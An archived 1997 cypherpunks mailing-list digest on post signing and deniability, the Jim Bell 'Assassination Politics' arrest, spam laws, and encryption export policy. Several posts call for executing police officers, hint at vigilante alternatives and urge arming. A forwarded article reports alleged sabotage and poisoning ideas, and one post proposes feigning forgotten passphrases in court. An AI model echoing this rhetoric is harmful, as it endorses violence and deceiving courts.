Consider that signing an article is offering something of value. (Standard
point about identity being just another credential, or element in a
negotiation.)

In almost all casual conversations, such as what we see on these mailing
lists, signature checking is not really needed. Absent evidence that
widespread forgery is going on, who cares whether "Mark Grant" is _really_
Mark Grant (whatever that may mean, philosophically).

Of more importance to me lately, given developing events, is that my words
will come back to haunt me in this post-free-speech era, where conspiracy,
RICO, and "plotting" are apparently the real crimes being prosecuted.

I'm not saying that signatures are not a Good Thing. Indeed, if I ever get
a version of PGP or S/MIME adequately integrated with my OS and Eudora Pro,
I may (or may not) start auto-signing all e-mail. (Gulp.)

(Oh, please don't barrage me with suggestions. I had two helpful suggetions
for "Pegasus Mail," ignoring the fairly well-known fact that I'm a Mac
user, not a Windows/NT user, and other suggestions about other products.
Puh-leese.)

What I'm saying is that signatures may be handing prosecutors too powerful
a tool to prosecute unpopular speech. Something to think about.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 01:35:02 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970522092310.10055A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Tim May wrote:

> There are some advantages to having posts and messages forged in one's name.
> Think: plausible deniability in a courtroom.
> "And can you _prove_ that the article you claim my client sent to Mr. Bell
> was actually written by him, and was not one of the many forgeries in my
> client's name?"

Yes, there certainly are advantages, though I wonder what will happen if
any of these 'junk email' laws go through. Next time someone decides to
spam with a forged unicorn.com address I could end up in court (of course
this is one of the many reasons why I'm against those laws even in the
current circumstances). At least this has givne me the incentive to set up
a proper email-filtering system even if it's wasted most of a day.

> I'm pretty glad I never started PGP-signing my posts, actually. I've
> exchanged messages at various times with various people, and the
> "non-ironclad" authorship of some of these articles may turn out to be
> useful. I can always claim an article was one of Detweiler's forgeries. Or
> one of the more sophisticated forgeries now being seen.

There's also something to be said for PGP-signing all your innocuous
posts; that could give you a greater potential for denial if you had a
history of signing and the 'dangerous' posts were unsigned.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:44:04 +0800
To: Mark Grant <mark@unicorn.com>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007800afaa2d1c4b3a@[207.167.93.63]>
Message-ID: <v03007802afaa392f215b@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:52 AM -0800 5/22/97, Mark Grant wrote:

>There's also something to be said for PGP-signing all your innocuous
>posts; that could give you a greater potential for denial if you had a
>history of signing and the 'dangerous' posts were unsigned.
>

I'm of course most worried that what I think of as my most basic
expressions of opinion would be treated by The Adversary as being
"dangerous."

Thus, my point about routinely signing posts stands.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Fri, 23 May 1997 01:49:37 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Forgeries are your Friend
In-Reply-To: <v03007802afaa392f215b@[207.167.93.63]>
Message-ID: <Pine.SOL.3.96.970522095957.13893B-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 22 May 1997, Tim May wrote:

> Thus, my point about routinely signing posts stands.

Sure, I was talking in general; my point only applies to those who make
more 'government approved' posts than 'dangerous' ones. Of course there's
still no guarantee that next year I won't be presented with an old signed
post about something which was innocuous and is now hideously illegal.

On the subject of deniability perhaps we should all publically state that
we've forgotten the passphrase to some of the encrypted files we have
lying around and see if that works in court if we ever end up there. I
know I have a couple of secret keys whose passphrases I've forgotten and
had a few files which I may have deleted.

	Mark






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:48:48 +0800
To: cypherpunks@toad.com
Subject: Justice for the Murderers of Donald Scott
In-Reply-To: <199705221512.IAA01747@sirius.infonex.com>
Message-ID: <v03007805afaa3c4cdcb8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:12 AM -0800 5/22/97, WinSock Remailer wrote:

>The interesting thing is that the envirocrats wanted the land, and the
>sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
>raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
>OK City, radicalized me. This man (Donald Scott) did NOTHING to
>deserve his murder, and the crooks who killed him deserve death.

Indeed. If found guilty of murder, the penalty is death. The official
courts appear completely unwilling to prosecute cops for real crimes like
this (notice that they tried the Rodney King "assailants" a _second_ time
because they didn't like the verdict the first jury rendered...so much for
"double jeapardy" in any reasonable sense). The murderers of Donald Scott
have not even been charged, a few years after the incident, while a
crackhead like Rodney King gets a multimillion dollar settlement...I guess
the key is that the white neighbors of Donald Scott did not go on a looting
and burning rampage in Malibu.

Being that I'm a reasonable man, I would be willing to settle for an
outcome in which the dozen ninja raiders each received a 2nd degree murder
conviction...manslaughter, depraved indifference, the usual buzzwords. They
were, after all, "just good Germans." A nice long prison term for each of
them. However, the Sheriff and any other co-conspirators who ordered the
raid, apparently with visions of getting a cut of the bounty on the
property, would be the one(s) to send to the gallows (or gas chamber, being
that this is enlightened Kalifornia).

>Yes, and buy components. These will be outlawed before they go for
>guns as such, in the hope that wear and tear will do their grab for them.
>

As a footnote to this, an indoor range/store I use (not necessarily the one
in Watsonville, in case anyone in Authority is reading this and plans to
hassle my friends there) let me know on my last buying spree there that
investigators for the BATF and/or other agencies were nosing around their
store and asking to see lists of those who had been buying "paramilitary"
supplies. The guy who told me this said his store refused to cooperate.

Take this as a warning that the Government is extra-legally compiling
dossiers and data bases on those making perfectly legal purchases for which
no permission or identification is required. (Neither ammunition nor
components--except perhaps black powder--require any form of identification
or notification to the government.)

The BATF is apparently compiling lists just like the Red Squads did (and
still do).

The balloon is about to go up.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 23 May 1997 01:58:33 +0800
To: cypherpunks@algebra.com
Subject: Addresses for posts
In-Reply-To: <97May22.131535edt.32257-1@brickwall.ceddec.com>
Message-ID: <v03007800afaa4511ebfb@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 9:18 AM -0800 5/22/97, tzeruch@ceddec.com wrote:
>Why does everyone still have cypherpunks@toad.com in their Cc: list, or
>how can I get it to work so I don't have to edit the headers (back to the
>procmail manual...)

You quoted my post, and I have usually been one to take the extra time to
change "cypherpunks@toad.com" to either "cypherpunks@algebra.com" or
"cypherpunks@cyberpass.net". Sorry that I did not in this particular case.

All three addresses will work, though it is unknown how long the toad.com
version will continue to work...I assume we'll get some warning if John
decides to stop sending the messages on.

There is also an "ssz.net" address that may also work, which Jim Choate
uses (and runs).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 23 May 1997 02:09:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell accused of "spamming"
In-Reply-To: <LP647D1w165w@bwalk.dm.com>
Message-ID: <199705221753.KAA13412@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr. Dimitri Vulis writes:

: The IRS is accusing Vancouver resident James Dalton Bell, 38, of
: conspiring to overthrow the U.S. government. He appeared Monday afternoon
: in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit. 

Since when was the IRS charged with enforcing the sedition laws?

Will the CIA now be collecting our taxes?

I still haven't heard any behavior on Bell's part described which would
constitute a crime under any applicable statue.  

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Thu, 22 May 1997 23:34:58 +0800
To: cypherpunks@toad.com
Subject: Re: SIC SEMPER TYRANNIS
Message-ID: <199705221512.IAA01747@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley <paul@fatmans.demon.co.uk> wrote:

>(Tim wrote)
>> Notable example:  the Malibu doctor suspected--wrongly, it turns out--of
>> growing pot on his ranch. He and his wife were startled by the ninjas
>> bursting into their bedroom. The doctor reached for a handgun in his
>> nightstand and was sprayed with 9mms from the Heckler and Kock MP-5s of the
>> raiders. The estate of the doctor is currently suing the LA County
>> Sheriff's Department and other agencies, but you know how those things go.
>> I know I shock a lot of people by saying this, but I think those involved
>> in the raid should be tried on murder charges and, if found guilty,
>> executed promptly. And if the court system won't do this, which it
>> obviously won't, then the alternative is <CENSORED CENSORED CENSORED
>> CENSORED>.
>
>This is quite right, the police had no right to be in his house as he had 
>commited no ethical crime, therefore he merely attempted to defend 
>himself against people who had broken into his house. If they then shot 
>him they are guilty of murder, no question about it.

The interesting thing is that the envirocrats wanted the land, and the
sheriff (who is, BTW, not in jail) got an appraisal on it BEFORE the
raid. This case, and not Ruby Ridge, Waco, or The Reichsta...um..
OK City, radicalized me. This man (Donald Scott) did NOTHING to
deserve his murder, and the crooks who killed him deserve death.

>If the government want a "war on drugs" they can expect a real war, where 
>the enemy fight back. 
>
>All of those fortunate enough to be living someone where they are legally 
>entitled to obtain defensive weapons, Lock and load.

Yes, and buy components. These will be outlawed before they go for
guns as such, in the hope that wear and tear will do their grab for them.

Mystrey man










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Deters <jad@dsddhc.com>
Date: Fri, 23 May 1997 00:54:07 +0800
To: "Willaim H. Geiger III" <aba@dcs.ex.ac.uk>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <3.0.1.32.19970522114016.009438c0@labg30>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 AM 5/22/97 -0500, Willaim H. Geiger III wrote:
>In <199705221337.OAA00948@server.test.net>, on 05/22/97 
>   at 07:37 AM, Adam Back <aba@dcs.ex.ac.uk> said:
>
>>The problem is that you and most of the rest of the internet world are
>>renting your mega phones/accounts out without charging for usage volume. 
>>You are also allowing completely free use of your account as a recipient,
>>and completely free use of your sendmail as a mail hub service.
>
>>If this causes you grief, you need to start metering, and charging
>>postage to receive mail, and metering mail hub usage.


>Bullshit! No metering of accounts is required. All that needs to be done
>is blocking of all mail from Spamford's sites. He nor anyone else has a
>"right" to use my equipment. If Spamford uses my equipment without my
>permission he can be charged with criminal trespass. I am under no
>contract with Spamford and am under no obligation to provide him so much
>as 1 bit worth of bandwidth.

I certainly agree with the cypherpunk theory of Strength Through
Mathematics instead of PseudoStrength-via-threats-of-imprisonment Through
Legislation.

Adam's "Tragedy of the Unmetered Commons" certainly provides a solution.
Metering and charging e$ for mail-routing services would allow it to occur
while stopping the freeloaders.

Blocking sites also provides a solution, although it proved too tough for
my ISP to keep up with the Chameleon that is Spamford.  To be honest, not
all the spam that struck my ISP's site was proven to be CyberPromo's fault.
 I recently saw in alt.2600 a "fan" program for spewing spam.  It runs
under Windows, and I imagine "3133t hack3rz" have been having a field day
running someone else's program to do what Spamford had to write on his own.
 They seem to be trading the addresses of unprotected sendmail demons
running on the net that they can abuse.

For now, preventing forwarding seems to be the only currently available
solution, until e$ makes its way into the protocol stack.  (Hurry up,
Robert!)  Of course, I'm not thrilled to think that every router on the
internet is going to start charging me for packet delivery, nor do I want
to spend .001 cents for visiting really.cool.foobar.com.  I'm also scared
to death of what my bill would be if I was charged a dime for every
AltaVista query.  The "bonus services", however, such as e-mail routing, or
ftp proxying, certainly could be provided for a nominal cost.

>Just because one has the right of free speech does not mean that we have
>to be forced to listen.

That's not ever been my point.  Again, the spammers are not even trying to
get this ISP or their customers to listen, they're just (mis)using their
computer facilities to blow spam about the earth.  Free speech is not the
issue.  It's "abusive overuse" of what used to be a publically available
resource.

John
--
J. Deters "Don't think of Windows programs as spaghetti code.  Think
          of them as 'Long sticky pasta objects in OLE sauce'."
+--------------------------------------------------------------------+
| NET:   mailto:jad@dsddhc.com (work)   mailto:jad@pclink.com (home) |
| PSTN:  1 612 375 3116 (work)          1 612 894 8507 (home)        |
| ICBM:  44^58'36"N by 93^16'27"W Elev. ~=290m (work)                |
| For my public key, send mail with the exact subject line of:       |
| Subject: get pgp key                                               |
+--------------------------------------------------------------------+





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 23 May 1997 00:23:54 +0800
To: cypherpunks@toad.com
Subject: Key Recovery War
Message-ID: <1.5.4.32.19970522160240.008eed3c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A couple of news reports on the Key Recovery
critique by Blaze et al from NYT and C|Net:

   http://jya.com/krnews.htm

Both cite Reinsch of BXA's counter-critique.

And another report on Sybase getting BXA
approval for export of 56-bit crypto without
key recovery. However, it's only for data storage
not communication. The story also reports that
Sybase will be allowed to export 128-bit
crypto with a key recovery plan.

   http://jya.com/krnews2.txt

And, baiting another barb, Senator Kerrey has 
entered the outline of his crypto bill in the 
Congressional Record, along with a statement on 
natsec and commerce and privacy need:

   http://jya.com/kerrey3.txt

So the Administration seems to be tickling the market, 
sending up balloons, wet fingering the air, pulling head 
out, and so forth, to see who might be induced to
succumb to the strategem of bait-and-bribe, trot-line 
eager minnows of ga-ga commerce in the national
interest, ahem, like those survivalist national labs,
Bell Labs, Lincoln Labs, Mitres, SAICs, and, their
patrons at National Security councils, departments of 
commerce, defense, state, energy, justice, et al.

Tim and Blanc are right, it's no holds barred Dual-Use
Civil-National Security War for the nation's goodies, 
no matter what fur's feigned to outfox the hounds and 
poachers and encroachers.

It would be swell if the NLs truly competed with industry,
but not likely with all those federal advisory groups
eyeing and spying and lying each other.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 23 May 1997 01:50:35 +0800
To: cypherpunks@toad.com
Subject: Jim Bell accused of "spamming"
Message-ID: <LP647D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


I find it symptomatic that the enemies of free speech use "spam" as a generic
term for any kind of speech they don't like.

I don't think the following piece needs much commentary, but it probably will.

Path: altavista!news1.digital.com!uunet!in1.uu.net!192.108.254.3!news.teleport
xtm!kelly.teleport.com!jh
From: Jack Hammer <jh@teleport.com>
Newsgroups: or.politics,wash.politics,alt.rush-limbaugh,alt.fan.tom-leykis
Subject: IRS SAYS INTERNET SPAMMER SABOTEUR (fwd)
Date: Wed, 21 May 1997 17:15:35 -0700
Organization: Teleport - Portland's Public Access (503) 220-1016
Lines: 155
Message-ID: <Pine.GSO.3.96.970521171344.16635E-100000@kelly.teleport.com>
NNTP-Posting-Host: kelly.teleport.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Xref: altavista or.politics:25633 alt.rush-limbaugh:79911 alt.fan.tom-leykis:5
xt


Subject: IRS SAYS INTERNET SPAMMER SABOTEUR


Government affidavit says an Internet author plotted to sabotage an
Oregon 9-1-1 computer and poison city water with botulism. 

VANCOUVER, Wash.- Is there any truth to the rumour that Assassination
Politics (AP) author Jim Bell, who was arrested here Friday by the
Internal Revenue Service, plotted with Portland, Oregon 9-1-1 overseer
Greg Daly to poison the Bull Run resevoir with botulism made from green
beans, and shut down the 9-1-1 emergency center's computers by dumping
carbon fibers into the air vents?

The IRS is accusing Vancouver resident James Dalton Bell, 38, of
conspiring to overthrow the U.S. government. He appeared Monday afternoon
in U.S. Distict Court in Tacoma and was accused in an 18-page affidavit.

AP is a Murder Inc. like plot about a risk-free way of rewarding assassins
through a lottery. 

Bell was seen frequenting local Libertarian functions and a so-called
common law court. The murder conspiracy was applauded by some high ranking
Libertarians.
 
The plot has circulated widely on the Internet. An April search
warrant accused Bell of directly soliciting others to murder. AP would
supposedly protect the identity of the murderers. 

The strategy, which Bell says he wrote and posted solely for speculation, 
involves uses of encryption to predict and confirm assassinations 
and electronic digital cash to pay for the gruesome killings. 

Criticism of AP predicted a reign of anarchy and terror should the plan be
allowed to develop. Bell responded to criticism personally and with
vehemence.

Federal agents raided Bell's Vancouver home April 1 and then accused him
of obstructing government officers, and employees, and using false Social
Security numbers. Bell is far more dangerous than the charges suggest, the
affidavit filed by IRS Inspector Phillip G. Scoff said.

Scott's affidavit said Bell, who has a chemistry degree from the
Massachusetts Institute of Technology, had discussions about using carbon
fiber particles to attack computer systems with Greg Daly, a friend who is
an electronics specialist overseeing Portland's 9-1-1 communications
center. 

"Daly stated that he and Bell had 'laughed' about attacking the 9-1-1 
center with the fiber," the affidavit said.

The affidavit went on to say that Daly also told IRS agents that he had 
hypothetical discussions with Bell about contaminating water supplies 
and about making the botulism virus from green beans. 

In the April 17 and 18 intertiews with IRS agents, Daly admitted he
had keys to Portland's pristine alpine watershed and direct access to 
the Portland water treatment facilities.

Daly tried to defend himself Monday by saying that the conversations he
and Bell had were "merely intellectual fun-and-games discussions" between
old friends who enjoy technical things. 

But Daly also described his friend of 15 years as  "bit of an odd unit".

And during the interview Daly appeared to crack and turn state's 
evidence when Daly offered to "rat (Bell) out in a heartbeat."

The investigation had been expanding Thursday when IRS agents searched the
home of another friend of Bell's, merchant marine radio man Robert East.
Among items seized in the East address raid was a three foot length of
carbon fiber. 

The IRS affidavit reported that East told agents he and Bell had discussed 
"the possibility of putting the fibers down the air vents of a federal 
building" to its computers and about using the fiber against the IRS.

Bell was recently published in The Oregonian daily newspaper where he
appeared to avoid an explanation of his plan, writing mostly of what he
predicted would be AP's positive impact. 

Bell did not say in the article how exactly AP would be implemented, who
could be killed by it or even why it was called Assassination Politics.

But the Internet version, repetively posted for more than a year on 
libertarian e-mail lists and newsgroups, revealed a darker vision. Some 
recipients of Bell's complained of the excessive "spamming", others of 
AP's ethical lapses.

The Oregonian seemed to accept Bell's story without question, and Bell's
idea was defended by some Libertarians. 

Responding to the arrest, Tonie Nathan, the first woman and only
Libertarian to receive an electoral vote for Vice President, appeared to
endorse Bell's assassination plan. 

"I find them basically rational, mind-opening, intellectually
stimulating," she wrote Tuesday. She went on to say that AP "should be
considered." 

Found inside what the IRS reports was Bell's car were documents from the
Multnomah County Common Law Court (MCCLC), a group that elects themselves
the case judges and purports to administer "common law." 

Bell was seen at a court meeting held in a Portland pizza parlour back in
February. Bell has denied ownership of the car. 

The self-appointed court met in an all-you-can-eat buffet where it put
Attorney General Janet Reno, IRS Commisssioner Margaret Richardson and
other IRS officials on trial. 

The mock trial was the result of a complaint by Oregon resident Louis
Wispell, one of the MCCLC "Justices." 

It has been observed in this "court"  that complainants can select their
judges from the buffet line, some who confessed to stealing food, having
snuck past the cashier on the pretense of being on the camera crew. 

The judges have also been observed to switch places with complainants in
other meetings of the MCCLC in trhe basement of a Russian church.

The MCCLC has recently been in the news in regards to charges of its
clerk, Richard Lancial, and his son, Thor Lancial, of simulating court
process. 

Charles Bruce Stewart is the Chief Justice of that court and also the
owner of an e-mail list, nwlibertarians@teleport.com, on which Bell posted
much of his material.

Stewart insists his court is constitutional.

The IRS says Bell has a history of tax disputes with them and reportedly
has a large, outstanding, unpaid balance. 

Friday was set for Bell's detention and preliminary hearing. The
government has asked that Bell be held without ball because he is a danger
to the community, and reportedly is seeking a grand Jury indictment. 

                         From your friend,
                         Your best friend,
                         Your only friend,
                            Jack Hammer
 
                                 ;-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 23 May 1997 03:45:11 +0800
To: cypherpunks@cyberpass.net
Subject: Spam laws threaten remailers?
Message-ID: <199705221929.MAA21253@jefferson.hidden.net>
MIME-Version: 1.0
Content-Type: text/plain


See http://www.senate.gov/~murkowski/commercialemail/

   My
   bill merely provides a means for Internet users to filter out e-mails that
   they do not wish to receive by requiring that senders of unsolicited
   e-mails to include Advertisement as the first word of the subject line
   and that the real street address, e-mail address and a telephone number
   be contained within the body of the message. Routing information that
   accompanies the message must also be accurate. 

Could this be the end of remailers?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 01:40:11 +0800
To: cypherpunks@algebra.com
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221337.OAA00948@server.test.net>
Message-ID: <v03020934afaa29712cbc@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


> Bullshit! No metering of accounts is required. All that needs to be done
> is blocking of all mail from Spamford's sites.

As someone who has something on the order of 15 Eudora filters just for
Spamford himself (go take a look at whois for cyberpromo to see how domains
he has registered), this is easier said than done. I've taken to killing
his ip blocks, but that gets a lot of sites, TidBITS among them, in the
crossfire. You end up filtering *in* people who you want to see mail from,
which is an interesting logical conundrum...

I'm in favor of creating digital bearer certificate postage stamps, myself.
Don't care who sends me unsolicited e-mail, as long as they have to pay,
preferrably through the nose, for the privilege...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 23 May 1997 01:50:13 +0800
To: cypherpunks@toad.com
Subject: from BoS: News about Sun and Elvis+
Message-ID: <v0302093bafaa2eb46954@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain


>From the "other shoe" department...

Cheers,
Bob Hettinga

--- begin forwarded text


X-Authentication-Warning: jekyll.piermont.com: [[UNIX: localhost]] didn't
use HELO protocol
To: cryptography@c2.net
Subject: from BoS: News about Sun and Elvis+
Date: Thu, 22 May 1997 12:58:06 -0400
From: "Perry E. Metzger" <perry@piermont.com>
Sender: owner-cryptography@c2.net


I thought this would be of interest.

------- Forwarded Message

From: "Judas, Roland" <rj@medos.de>
Date: Thu, 22 May 1997 09:36:44 +0100
To: best-of-security@suburbia.net
Subject: BoS: News about Sun and Elvis


- ---  White House Reviews Sun's Encryption Initiative  ---
By John Fontana, Communications Week

WASHINGTON-The Clinton administration said it is reviewing the
relationship between Sun Microsystems and a Russian  company that
produces a strong encryption product, which  Sun is licensing for
worldwide distribution.
The White House issued a statement last night, saying, "We  are
reviewing our regulatory posture with Sun to ensure that  their
arrangement with the Russian encryption company is in  compliance with
U.S. export controls."
The Department of  Commerce, which is responsible for export
regulations on strong encryption, stressed that the administration was
 reviewing the relationship and not conducting an  investigation, a
spokesman said.
Last week, Sun, in Mountain View, Calif., told Communications Week
that it had licensed an encryption product from Moscow, Russia-based
Elvis+ Co., which offers 128-bit keys and would resell it  worldwide
under the name PC Sunscreen SKIP Elvis+. Sun  has approximately a 10
percent equity stake in Elvis+, whose product is based on Sun's Simple
Key Management for IP  (SKIP) protocol. The specification was
published nearly two  years ago.
Humphrey Polanen, general manager of Sun's security and  electronic
commerce group, was confident the government  would find Sun "in full
compliance with the letter of the law."  He said a key factor was that
Sun offered no technical  assistance in the development of the
software.
U.S. law bars the export of encryption over 56 bits without
 government approval. Companies seeking to export 56-bit  products
must also have a system in place within two years  for key recovery.
Netscape Communications, also of Mountain View, has followed that path
with its  browser software, but Sun has neither government approval
 nor a method to recover keys. The administration wants access to keys
in cases of criminal investigations. It is  concerned that strong
encryption products could fall into the hands of terrorists, even
though similar products are  available from nearly 30 foreign
companies.
The statement from the White House also said it had not  evaluated the
product and could not comment on it.
If found in violation of export controls, Sun could face civil  and/or
criminal penalties. Criminal penalties, which would be  handed out by
the Justice Department, could mean Sun  executive officers would spend
time in a federal prison. At press time, Sun had not seen the
announcement and would  not comment.
"The administration may have to go after Sun to protect the  integrity
of its policy," said Marc Rotenberg, the director of  the Electronic
Privacy Information Center. "You might see the  ,Zimmerman effect,'
which would be tremendous public sympathy."
Rotenberg is referring to Phillip Zimmerman, who won a  battle with
the government over his Pretty Good Privacy  encryption product, which
was distributed free over the  Internet.
"The White House is at risk by going after a U.S. company  for making
a good product," Rotenberg said. "This is one  more reason to think
the administration's cryptography policy  is not long for this
world."
Three bills attacking the administration's policy are being  discussed
on Capitol Hill, but only one, the Security and  Freedom through
Encryption Act, has made it out of  committee. The bill, which was
authored by Rep. Bob Goodlatte (R-Va), would prohibit mandatory key
recovery.
President Clinton is opposed to the bill in its current form.


------- End of Forwarded Message

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Willaim H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 23 May 1997 03:08:59 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <v03020934afaa29712cbc@[139.167.130.248]>
Message-ID: <199705221850.NAA17774@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03020934afaa29712cbc@[139.167.130.248]>, on 05/22/97 
   at 10:53 AM, Robert Hettinga <rah@shipwright.com> said:

>At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites.

>As someone who has something on the order of 15 Eudora filters just for
>Spamford himself (go take a look at whois for cyberpromo to see how
>domains he has registered), this is easier said than done. I've taken to
>killing his ip blocks, but that gets a lot of sites, TidBITS among them,
>in the crossfire. You end up filtering *in* people who you want to see
>mail from, which is an interesting logical conundrum...

I actually do this for all aol, compuserver, prodigy accounts. I only
filter in the few accounts that I wish to correspond with and the rest go
into the bit bucket.

>I'm in favor of creating digital bearer certificate postage stamps,
>myself. Don't care who sends me unsolicited e-mail, as long as they have
>to pay, preferrably through the nose, for the privilege...

My biggest concern with the pay as you go approach is 2 fold:

1. It woun't stop Spamford and his ilk as they are the ones who have the
$$$ to spend.

2. Once the jennie is out of the bottle you will see everyone's cost go up
as everyone will see this as a way to get a peice of the action. If the
INet goes mettered rate the only ones who can afford to spend any time on
it will be the corporations who have the money to spend. I remember when I
had a compu$erver account years ago and how fast the tab ran up as
everything had a charge on it. It was cheaper to stick with BBS's & FIDO
and pay the long distance charges when needed.

If given the choice between 2 evils of receiving Spamford Cyber-momo's
crap or going to a mettered rate INet I chose Spamford as the second will
not get rid of him.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Fri, 23 May 1997 01:47:58 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Compelling a key (fwd)
In-Reply-To: <v03007808afa96b4f9980@[207.167.93.63]>
Message-ID: <97May22.131409edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 21 May 1997, Tim May wrote:

> At 4:45 PM -0800 5/21/97, Jim Choate wrote:
> 
> >> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
